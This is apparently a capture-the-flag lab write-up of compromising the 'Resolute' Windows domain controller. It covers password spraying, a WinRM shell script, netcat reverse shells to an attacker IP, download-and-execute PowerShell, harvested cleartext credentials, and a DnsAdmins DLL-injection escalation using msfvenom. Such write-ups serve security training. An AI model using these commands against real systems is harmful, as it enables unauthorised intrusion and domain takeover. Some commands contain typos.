

# Resolute

```
=====
| RESOLUTE 10.10.10.169 |
=====
```



## InfoGathering

Nmap scan report for resolute.htb (10.10.10.169)

Host is up (0.070s latency).

Not shown: 989 closed ports

PORT	STATE	SERVICE	VERSION
------	-------	---------	---------

53/tcp	open	domain?	
--------	------	---------	--

| fingerprint-strings:

| DNSVersionBindReqTCP:

| version

|\_ bind

88/tcp	open	kerberos-sec	Microsoft Windows Kerberos (server time: 2019-12-08 17:39:14Z)
--------	------	--------------	--

135/tcp	open	msrpc	Microsoft Windows RPC
---------	------	-------	-----------------------

139/tcp	open	netbios-ssn	Microsoft Windows netbios-ssn
---------	------	-------------	-------------------------------

389/tcp	open	ldap	Microsoft Windows Active Directory LDAP (Domain: megabank.local, Site: Default-First-Site-Name)
---------	------	------	---

389/tcp	open	ldap	
---------	------	------	--

| ldap-brute:

| root:<empty> => Valid credentials

| admin:<empty> => Valid credentials

| administrator:<empty> => Valid credentials

| webadmin:<empty> => Valid credentials

| sysadmin:<empty> => Valid credentials

| netadmin:<empty> => Valid credentials

| guest:<empty> => Valid credentials

| user:<empty> => Valid credentials

| web:<empty> => Valid credentials

|\_ test:<empty> => Valid credentials

445/tcp	open	microsoft-ds	Windows Server 2016 Standard 14393 microsoft-ds (workgroup: MEGABANK)
---------	------	--------------	---

Host script results:

|\_ clock-skew: mean: 2h47m17s, deviation: 4h37m10s, median: 7m15s

| smb-os-discovery:

| OS: Windows Server 2016 Standard 14393 (Windows Server 2016 Standard 6.3)

| Computer name: Resolute

| NetBIOS computer name: RESOLUTE\x00

| Domain name: megabank.local

| Forest name: megabank.local

| FQDN: Resolute.megabank.local

|\_ System time: 2019-12-08T09:40:15-08:00

| smb-security-mode:

| account\_used: guest

| authentication\_level: user

| challenge\_response: supported

```
|_ message_signing:
required
| smb2-security-mode:
| 2.02:
|_ Message signing enabled and required
| smb2-time:
| date: 2019-12-08T17:40:14
|_ start_date: 2019-12-07T19:08:13
smb-enum-shares:
| note: ERROR: Enumerating shares failed, guessing at common ones (NT_STATUS_ACCESS_DENIED)
| account_used: <blank>
| \\10.10.10.169\ADMIN$:
| warning: Couldn't get details for share: NT_STATUS_ACCESS_DENIED
| Anonymous access: <none>
| \\10.10.10.169\C$:
| warning: Couldn't get details for share: NT_STATUS_ACCESS_DENIED
| Anonymous access: <none>
| \\10.10.10.169\IPC$:
| warning: Couldn't get details for share: NT_STATUS_ACCESS_DENIED
| Anonymous access: READ
| \\10.10.10.169\NETLOGON:
| warning: Couldn't get details for share: NT_STATUS_ACCESS_DENIED
|_ Anonymous access: <none>
```

```
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: megabank.local, Site: Default-First-Site-Name)
3269/tcp open tcpwrapped

5985/tcp open wsman
```

DNS Enum Shows us the machine name is actually megabank.local. Update our hosts file  
10.10.10.169 resolute.megabank.local

```
root@kali:~/HTB/Boxes/Resolute# nslookup
> SERVER 10.10.10.169
Default server: 10.10.10.169
Address: 10.10.10.169#53
> 10.10.10.169
;; connection timed out; no servers could be reached
> megabank.local
Server:          10.10.10.169
Address:         10.10.10.169#53

Name:   megabank.local
Address: 10.10.10.169
Name:   megabank.local
Address: dead:beef::b803:885a:b665:b183
```

We can see above that SMB requires message signing so we will probably need some Kerberos tickets later or at the least credentials

# Gaining Access

User password found  
USER: ?  
PASS: Welcome123!




## Person

Marko Novak

Novak

1. Password set to Welcome123!

Submit    Reset



I then used metasploit to enum users from smb

```
msfconsole
use auxiliary/scanner/smb/smb_enumusers
set RHOSTS 10.10.10.169
set SMBDomain megabank.local
```

Administrator, Guest, krbtgt, DefaultAccount, ryan, marko, sunita, abigail, marcus, sally, fred, angela, felicia, gustavo, ulf, stevie, claire, paulo, steve, annette, annika, per, claude, melanie, zach, simon, naoki

Next we make a userlist.txt file consisting of the usernames above and the password Welcome123!

```
use auxiliary/scanner/smb/smb_login
set SMBDomain megabank.local
set USER_FILE /root/HTB/Boxes/Resolute/userlist.txt
set RHOSTS 10.10.10.169
set SMBPass Welcome123!
```

SIDE NOTE: auxiliary(scanner/winrm/winrm\_login) also found the password valid

We got one  
megabank.local\melanie>Welcome123!

I was able to login to NETLOGON, SYSVOL, and IPC\$ which were a dead end. Nothing inside but open folders

Time to use winrm to sign in  
winrm.rb File Contents

```
require 'winrm-fs'

conn = WinRM::Connection.new(
  endpoint: 'http://10.10.10.169:5985/wsman',
  transport: :ssl,
  user: 'megabank.local\melanie',
  password: 'Welcome123!',
  :no_ssl_peer_verification => true
)

file_manager = WinRM::FS::FileManager.new(conn)

class String
  def tokenize
    self.
      split(/\s(?:[^\s]|'|"[^"]*"|'["']*')*$)/).
      select {|s| not s.empty? }.
      map {|s| s.gsub(/(^ +)|(+ $)|(^["']+)|(["']+$)/, '')}
  end
end

command=""

conn.shell(:powershell) do |shell|
  until command == "exit\n" do
    output = shell.run("-join($id,'PS ',$(whoami),'@',$env:computername,' ',$(gi $pwd).Name),'> '")
    print(output.output.chomp)
    command = gets
    if command.start_with?('UPLOAD') then
      upload_command = command.tokenize
      print("Uploading " + upload_command[1] + " to " + upload_command[2])
      file_manager.upload(upload_command[1], upload_command[2]) do |bytes_copied, total_bytes,
local_path, remote_path|
        puts("#{bytes_copied} bytes of #{total_bytes} bytes copied")
      end
      command = "echo `n0K`n"
    end

    output = shell.run(command) do |stdout, stderr|
      STDOUT.print(stdout)
      STDERR.print(stderr)
    end

    puts("Exiting with code #{output.exitcode}")
  end
end
```

An that my friends is user flag

```
type C:\Users\melanie\Desktop\user.txt
0c3be45fcfe249796ccbee8d3a978540
```

USER FLAG: 0c3be45fcfe249796ccbee8d3a978540

# PrivEsc

First thing I want is a better shell. I downloaded nc64.exe to the target machine

```
# On Attack machine host the file for download
python -m SimpleHTTPServer 80

# On target machine in WinRM
Start-BitsTransfer "http://10.10.14.18/nc64.exe" -Destination "C:\Windows\System32\spool\drivers\color\nc64.exe"
```

```
PS megabank\melanie@RESOLUTE Documents> Start-BitsTransfer "http://10.10.14.18/nc64.exe" -Destination "C:\Windows\System32\spool\drivers\color\nc64.exe"
PS megabank\melanie@RESOLUTE Documents> cd C:\Windows\System32\spool\drivers\color
PS megabank\melanie@RESOLUTE color> dir

Directory: C:\Windows\System32\spool\drivers\color

Mode                LastWriteTime         Length Name
----                -
-a----             7/16/2016   6:12 AM           1058 D50.comp
-a----             7/16/2016   6:12 AM           1079 D65.comp
-a----             7/16/2016   6:12 AM            797 Graphics.gnmp
-a----             7/16/2016   6:12 AM            838 MediaSim.gnmp
-a----             12/9/2019  10:43 AM          43696 nc64.exe
```

Now obtain a reverse shell

```
# On Attack machine start a listener
nc -lvp 8089

# In winrm shell connect to it using nc64.exe
C:\Windows\System32\spool\drivers\color\nc64.exe -e powershell 10.10.14.18 8089
```

```
root@kali:~/HTB/Boxes/Resolute# nc -lvp 8089
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Listening on :::8089
Ncat: Listening on 0.0.0.0:8089
Ncat: Connection from 10.10.10.169.
Ncat: Connection from 10.10.10.169:53663.
Windows PowerShell
Copyright (C) 2016 Microsoft Corporation. All rights reserved.
PS C:\Windows\System32\spool\drivers\color> |
```

Judging by the content of C:\Users I believe we need to upgrade our user account to Ryan I first tried PowerUp.ps1 as that is one of my Go Toos. I then ran the command Invoke-AllChecks. Below were the results which were unsuccessful.

```
# On attack machine where PowerUp.ps1 file is located do
python -m SimpleHTTPServer 80

# In WinRM Shell
IEX (New-Object Net.WebClient).downloadString("http://10.10.14.11/PowerUp.ps1")
Invoke-AllChecks
Write-HijackDll -DllPath 'C:\Users\ryan\AppData\Local\Microsoft\WindowsApps\wlbsctrl.dll' -Command 'whoami'
```

At first recon seemed slim. I did however find a hidden folder entitled PSTranscripts. Inside I found a file containing Ryan's clear text password

```
Get-Content -Path C:\PSTranscripts\20191203\PowerShell_transcript.RESOLUTE.0JuoBGhU.20191203063201.txt |
Select-String -Pattern Ryan
```

USER: Ryan

PASS: Serv3r4Admin4cc123!

Next I obtained a netcat shell as Ryan

```
# On attack box Open a listener
nc -lvnp 8088

# In winrm shell as Ryan
C:\Windows\System32\spool\drivers\color\nc64.exe -e powershell 10.10.14.18 8088
```

```
root@kali:~/HTB/Boxes/Resolute# nc -lvnp 8088
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Listening on :::8088
Ncat: Listening on 0.0.0.0:8088
Ncat: Connection from 10.10.10.169.
Ncat: Connection from 10.10.10.169:54149.
Windows PowerShell
Copyright (C) 2016 Microsoft Corporation. All rights reserved.

PS C:\Users\ryan\Documents> whoami
whoami
megabank\ryan
PS C:\Users\ryan\Documents> |
```

NOTE: This can also be done by Invoke-Command and setting a PSCredential

```
# On target machine as iusr
$username = 'megabank.local\ryan'
$password = 'Serv3r4Admin4cc123!'
$securePassword = ConvertTo-SecureString $password -AsPlainText -Force
$credential = New-Object System.Management.Automation.PSCredential $username,
$securePassword
$s = New-PSSession -ComputerName Sniper -Credential $credential
Invoke-Command -Session $s -ScriptBlock { C:\Windows\System32\spool\driversr\color\nc64.exe -e
powershell.exe 10.10.14.18 8088}
```

There is a note.txt file in C:\Users\ryan\Desktop that contains the following info

Email to team:

- due to change freeze, any system changes (apart from those to the administrator account) will be automatically reverted within 1 minute

Next I enumerated the groups Ryan is a part of to check out what permissions I have.

```
whoami /USER
# RESULTS
USER INFORMATION
-----

User Name      SID
=====
megabank\ryan  S-1-5-21-1392959593-3013219662-3596683436-1105
```

```
whoami /GROUPS
# RESULTS. For brevity I only listed the important group
MEGABANK\DnsAdmins      Alias
S-1-5-21-1392959593-3013219662-3596683436-1101 Mandatory group, Enabled by default, Enabled group, Local
Group
```

It appears we are a DNS Administrator on a Domain Controller. This means we can become a Domain Administrator

RESOURCE: <https://adsecurity.org/?p=4064>

RESOURCE: <https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/from-dnsadmins-to-system-to-domain-compromise>

```
# First start an SMB Server to use on attack machine; I used impacket
python /opt/ActiveDirectory/impacket/examples/smbserver.py -smb2support MyShare /root/HTB/Boxes/Resolute

# Next Generate a payload on attack machine that uses netcat for a reverse shell
msfvenom -p windows/x64/exec cmd='C:\Windows\System32\spool\drivers\color\nc64.exe -e cmd.exe 10.10.14.18 8087' -f dll > shell.dll

# Start your netcat listener on attack machine
nc -lvnp 8087

# Execute the below on the target machine which executes our payload from the SMB server
dncmd resolute /config /serverlevelplugindll \\10.10.14.18\MyShare\shell.dll

# Verify it changed if you like
Get-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Services\DNS\Parameters\ -Name ServerLevelPluginDll

# Restart the service
cmd.exe /c "sc.exe \\Resolute stop dns && sc.exe \\Resolute start dns"
```

```
PS C:\Windows\System32\spool\drivers\color> dncmd resolute /config /serverlevelplugindll \\10.10.14.18\MyShare\shell.dll
dncmd resolute /config /serverlevelplugindll \\10.10.14.18\MyShare\shell.dll

Registry property serverlevelplugindll successfully reset.
Command completed successfully.

PS C:\Windows\System32\spool\drivers\color> Get-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Services\DNS\Parameters\ -Name ServerLevelPluginDll
Get-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Services\DNS\Parameters\ -Name ServerLevelPluginDll

ServerLevelPluginDll : \\10.10.14.18\MyShare\shell.dll
PSPath               : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\DNS\Parameters\
PSParentPath         : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\DNS
PSChildName          : Parameters
PSDrive              : HKLM
PSProvider           : Microsoft.PowerShell.Core\Registry
```

We can check our SMB Server to ensure we got a hit

